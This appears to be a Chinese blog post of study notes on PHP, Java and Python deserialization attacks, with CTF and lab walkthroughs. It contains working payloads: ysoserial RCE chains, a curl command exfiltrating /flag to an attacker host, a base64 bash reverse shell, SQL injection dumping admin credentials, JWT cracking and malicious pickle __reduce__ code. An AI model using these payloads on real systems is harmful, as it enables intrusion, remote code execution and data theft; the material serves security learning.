PHP/原生类/Java/Python反序列化总结

PHP反序列化

#方法&属性-调用详解&变量数据详解
对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
序列化数据显示:
private 属性序列化的时候格式是%00 类名%00 成员名
protect 属性序列化的时候格式是%00*%00 成员名
具体代码:
<?php
header("Content-type: text/html; charset=utf-8");
/*public private protected 说明
class test{
 public $name="1111";
 private $age="29";
 protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
*/
/*__construct __destruct 魔术方法 创建调用__construct 2 种销毁调用
__destruct
class Test{
    public $name;
    public $age;
    public $string;
 // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
 public function __construct($name, $age, $string){
    echo "__construct 初始化"."<br>";
     $this->name = $name;
     $this->age = $age;
     $this->string = $string;
 }
 // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿
来做垃圾回收机制。
 /*
 * 当对象销毁时会调用此方法
 * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

原生类

原生类搜索

<?php
$classes=get_declared_classes();
foreach ($classes as $class){
    $methods =get_class_methods($class);
    foreach ($methods as $method){
        if(in_array($method,array(
            //'__destruct',
            //'__toString',
            //'__wakeup',
            //'__call',
            //'__callStatic',
            //'__get',
            //'__set',
            //'__isset',
            //'__unset',
            //'__invoke',
            //'__set_state'
        ))){
            print $class . '::' . $method . "\n";
        }
    }
}

xss+原生类

<?php
highlight_file(_file_);
$a=unserialize($_GET['K']);
echo $a
?>

发现是echo可以想到__tostring函数但是没有tostring函数所以考虑到用tostring原生类Exception

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e;
}
?>意思会发回报错

那么直接构造poc

<?php
$a = new Exception("<script>alert('111')</script>");
echo urlencode(serialize($a));
?>

java反序列化

#前置知识:
序列化和反序列化的概念:
序列化:把 Java 对象转换为字节序列的过程。
反序列化:把字节序列恢复为 Java 对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
函数接口:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize() 
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数
据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。
3、出现具体:
http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包

#原生 API-Ysoserial_URLDNS 使用
Serializable 接口
Externalizable 接口
没组件生成 DNS 利用:
https://github.com/frohoff/ysoserial
cmd命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lfssr3.dnslog.cn" > a.txt
意思是ysoserial配合第三方使用DNSlog.cn

image-20231012194039961

当序列化a.txt文件时就会运行命令

下方就会出现地址

WebGoat java序列化

题目意思是更改提供的序列化让他延迟五秒

image-20231012195635641

发现开头 rO0AB,说明base64加密了,先解密

三方组件-Ysoserial_支持库生成使用
https://github.com/WebGoat/WebGoat
有组件生成 RCE:
1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > a.txt
生成序列化参数,之后进行base64编码,传入会弹出计算器
​
利用python编码:python java.py
import base64
file = open("a.txt","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
​
#解密分析-SerializationDumper 数据分析
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

传入,成功弹出计算器,在实战中可以将calc.exe改为木马

image-20231012203154726

赛题-[网鼎杯 2020 朱雀组]ThinkJava

#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞
另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名 name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html 接口测试:
{
"password":"admin@Rrrr_ctf_asde",
"username": "admin"

下载jar包,查看发现text.class里有

import io.swagger.annotations.ApiOperation;

直接访问swagger-ui.html,有三个路由,第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入

image-20231012212932028

看其他师傅解释

image-20231012213152565

查看数据库名字

select schema_name from information_schema.schemata;
效果相当于show databases;

image-20231012215019493

获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys

image-20231012215644092

dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd

image-20231012215942380

获取字段值

dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde

然后将用户名admin和密码admin@Rrrr_ctf_asde在/common/user/login处提交,获取一串字符串

image-20231012220156891

ro0AB开头之前说过base64编码

使用bp插件java Deserialization Scanner分析

image-20231013083808576

发现有ROME

可以通过ysoserial利用

测试漏洞,打开DNSlog.cn

image-20231013184516738

命令

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ki4cxj.dnslog.cn" > f.bin

然后base64编码

image-20231013185139719

输入Bearer +编码的字符串

image-20231013185046122

返回刷新,就会发现有地址了

image-20231013184943902

方法一

curl将flag带出来

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:4444 -d @/flag" > x.bin

然后base64编码,放在那个窗口

image-20231013193710158

监听,出现flag

image-20231013193456101

方法二

反弹shell

bash -i >& /dev/tcp/vps/5555 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNS44Ni83MDE1IDA+JjE=}|{base64,-d}|{bash,-i}" > a.bin
python a.py
将生成的java序列化后的值传进/common/user/current

Python反序列化

#前置知识:
函数使用:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
各类语言函数:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize() 
Python:pickle marshal PyYAML shelve PIL unzip

代码演示

#原理-反序列化魔术方法-调用理解
-魔术方法利用:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用

-代码块:
import pickle
import os

#反序列化魔术方法调用-__reduce__() __reduce_ex__()__setstate__()
class A(object):
 	def __reduce__(self):
 		print('反序列化调用')
 		return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

class SerializePerson():
 	def __init__(self, name):
		 self.name = name
 # 构造 __setstate__ 方法
 	def __setstate__(self, name):
 		os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器

#序列化魔术方法调用-__getstate__
class A(object):
 	def __getstate__(self):
 		print('序列化调用')
 		os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)

#反序列化安全漏洞产生-DEMO
class A(object):
	def __init__(self,func,arg):
		self.func = func
		self.arg = arg
		print('this is A')
	def __reduce__(self):
		print('反序列化调用')
		return (self.func,self.arg)
a = A(os.system,('calc',))  //可以改成ipconfig
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('=========')
print(p_a)		

注意靶机的python环境,这编写payload时要用相应的python环境

[CISCN2019 华北赛区 Day1 Web2]ikun

可以看到标题说一定要买到lv6,让我看看怎么个事,查看器可以看到,有个lv4.png,所以解题思路就是找到lv6并买了

image-20231020214113267

发现有很多页,就只能用爬虫,爬取页面内容来查找

import requests,time

url="http://a6d161a6-ad0c-42ec-982c-af786251bc68.node4.buuoj.cn:81/shop?page="

for i in range(0,2000):
    time.sleep(0.2)
    r = requests.get(url+str(i))
    if 'lv6.png' in r.text:
        print(i)
        break
    else:
        print(str(i)+'|no')

找到在181页,直接去看看

image-20231020215254168

image-20231020215404969

我去有点贵买不起,抓个包看看,怎么回事

image-20231020215537816

试了试直接改价格不行,发现有个折扣,那我们直接让折扣对于0.000000000000000008试试

image-20231020215850841

发现OK,但是只允许admin访问

image-20231020215758175

那就要越权了,发现包里有JWT,解析一下看看

image-20231020220315866

不知道密匙,那就去爆破

下载好c-jwt-cracker

安装
docker build . -t jwtcrack
运行
docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN3cSJ9.TqygiKuMaNOivOr-B-UC5NQ17yTC0g7pVMgHz48v0ek

破解出来:1Kun

image-20231024215215239

然后更改如下,在将得到的JWT复制到数据包

image-20231024203712378

得到

image-20231024204419101

查看源代码

image-20231024204433860

下载然后审计,发现敏感函数

image-20231024211557081

写payload

import pickle
import urllib
class A(object):
	def __reduce__(self) :
		return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(A())
a = urllib.quote(a)
print(a)

python2运行payload

image-20231024215937223

可以发现那个函数在/b1g_m4mber页面下调用

image-20231024214556989

到该页面下查看确实有post传参

image-20231024215845624

更改value的值(上面payload运行的结果)然后再点击一键成为大会员

image-20231024220202083

就会出现flag

image-20231024220532500

python代码审计自动化工具

python代码审计自动化工具
dendit 
安装方式:pip install dendit
运行方式:dendit -r 需要审计的文件名称

  • 32
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值